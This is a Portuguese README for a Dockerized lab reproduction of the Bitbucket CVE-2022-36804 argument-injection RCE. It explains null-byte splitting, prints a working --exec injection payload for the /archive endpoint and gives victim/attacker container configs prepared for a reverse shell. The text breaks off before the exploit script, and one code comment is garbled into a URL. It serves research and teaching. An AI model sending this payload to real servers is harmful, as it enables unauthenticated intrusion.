Reprodução de cadeia completa do CVE-2022-36804 (Bitbucket RCE). Inclui um laboratório Dockerizado, monitoramento pspy64 para verificação de injeção de byte nulo e um script de exploit Bash personalizado. Baseado na pesquisa da Assetnote.
CVE-2022-36804 é uma vulnerabilidade de Injeção de Argumento de nível alto/crítico na API REST do Atlassian Bitbucket Server e Data Center.
Embora a pontuação base oficial do NVD National Vulnerability Database seja 8.8 (Alta) com base na suposição de privilégios de leitura necessários (PR:L), esta análise a trata como uma falha 9.8 (Crítica) (PR:N). Se um repositório alvo tiver acesso público habilitado — uma configuração comum — o vetor de exploração torna-se totalmente pré-autenticado.
Este repositório documenta uma reprodução laboratorial de cadeia completa do exploit, baseada diretamente na pesquisa técnica publicada pela Assetnote.
A análise detalha a transição desde a orquestração do ambiente e evasão de filtros de segurança até a obtenção de um shell reverso interativo. Conforme descrito na descoberta original, esta falha permite Execução Remota de Comandos (RCE), que pode ser explorada sem autenticação se o repositório alvo tiver acesso público habilitado.
A vulnerabilidade está enraizada em uma "Incompatibilidade de Impedância de Sanitização" entre o runtime da aplicação Java e o Sistema Operacional Linux.
Conforme destacado na pesquisa da Assetnote, o Bitbucket utiliza a biblioteca NuProcess para construir e executar comandos Git. Quando um usuário fornece um parâmetro prefix para o endpoint /archive, o Bitbucket falha em remover caracteres nulos (%00) antes de passar a lista de argumentos para o SO.
execve() processa o comando, ele corta a string em %00. Devido à forma como o NuProcess passa os dados, o SO trata tudo após o byte nulo como um argumento de linha de comando completamente novo.Ao injetar --exec=..., um atacante quebra a flag --prefix pretendida e força o processo git archive a executar um binário arbitrário, levando à Execução Remota de Comandos (RCE).
Para entender como o exploit transita de um simples parâmetro de URL para um comando a nível de SO, devemos dissecar a estrutura do payload e observar o "Deslocamento de Array".
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Componente | Propósito | Função Técnica |
|---|---|---|
prefix=x | Requisito | git archive precisa de um prefixo; x atua como placeholder. |
%00 | A Faca | Null-Byte. Java o passa, mas o kernel Linux baseado em C termina a string aqui. |
--exec=... | O Gatilho RCE | A Flag Perigosa. Abusa do recurso interno do Git para executar programas externos. |
touch ... | A Ação | O comando a ser executado. PoC seguro para verificar RCE. |
--remote=... | A Lixeira | Consome o ID do Commit (anexado pelo Bitbucket) como um argumento válido, garantindo que o comando execute sem erros de sintaxe. |
Isto ilustra o cerne da vulnerabilidade: como Dados (um prefixo de diretório) são transformados em uma Instrução (uma flag de comando).
Contexto de Execução do Java (Estado Inicial):
Java vê uma única string longa como o terceiro argumento.
[
"git", // Índice 0
"archive", // Índice 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Índice 2: A única string poluída
"1a2b3c4d..." // Índice 3: Anexado pelo Bitbucket
]
Execução do Kernel Linux (Estado Explorado):
A chamada de sistema execve() do kernel divide a string a cada byte nulo (\0), deslocando as flags injetadas para suas próprias posições independentes no array de argumentos do processo.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Execut%C3%A1vel
"archive", // argv[1]: Subcomando
"--prefix=x", // argv[2]: Terminado precocemente por %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: A FLAG INJETADA (RCE)
"--remote=file:///", // argv[4]: A LIXEIRA (Redireciona a lógica)
"1a2b3c4d..." // argv[5]: ID DO COMMIT (Consumido por --remote)
]
Para simular uma superfície de ataque realista, o ambiente laboratorial utiliza uma arquitetura de dois contêineres isolada dentro de uma rede bridge Docker (hacking_net). Esta configuração garante que a exploração e o monitoramento possam ser realizados em um ambiente controlado sem afetar o sistema hospedeiro.
Nó Vítima: Executa o Atlassian Bitbucket Server versão 7.17.1. O contêiner é intencionalmente nomeado bitbucket-victim. Isso reflete um refinamento crítico de design feito para garantir conformidade com a aplicação do RFC 7230 pelo Apache Tomcat. Ao usar um hífen em vez de um sublinhado, o ambiente evita os erros 400 de "Caractere Inválido" que ocorrem durante a execução do payload — um obstáculo técnico chave identificado e resolvido durante a fase de pesquisa.
Nó Atacante: Uma imagem Kali Linux rolling personalizada. Diferente de uma imagem padrão, este nó é pré-provisionado com o conjunto de ferramentas específico necessário para esta cadeia de exploit: git para manipulação de repositório, curl para entrega do payload e netcat-traditional para capturar o shell reverso.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renomeado de bitbucket_victim para evitar problemas de cabeçalho do host ao executar o payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use a imagem rolling oficial do Kali Linux como base
FROM kalilinux/kali-rolling
# Atualize a lista de pacotes e instale ferramentas essenciais para o exploit
# - git: OBRIGATÓRIO para este CVE específico (iremos manipular comandos git)
# - curl: Para enviar as requisições HTTP (o payload)
# - netcat-traditional: Para capturar o shell reverso (listener)
# - nano: Adicionado para edição de texto amigável dentro do contêiner
# - python3: Útil para scripts ou hospedar servidores HTTP simples
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Defina o diretório de trabalho como /root por conveniência
WORKDIR /root
# Mantenha o contêiner rodando indefinidamente para que possamos acessá-lo via 'docker exec'
# Este comando simplesmente segue o dispositivo nulo, não fazendo nada além de manter o processo vivo
CMD ["tail", "-f", "/dev/null"]
Se você já provisionou o ambiente usando o docker-compose.yml fornecido acima, pode usar o script exploit.sh incluído para verificar a vulnerabilidade e obter um shell reverso em segundos.
1. Prepare o Listener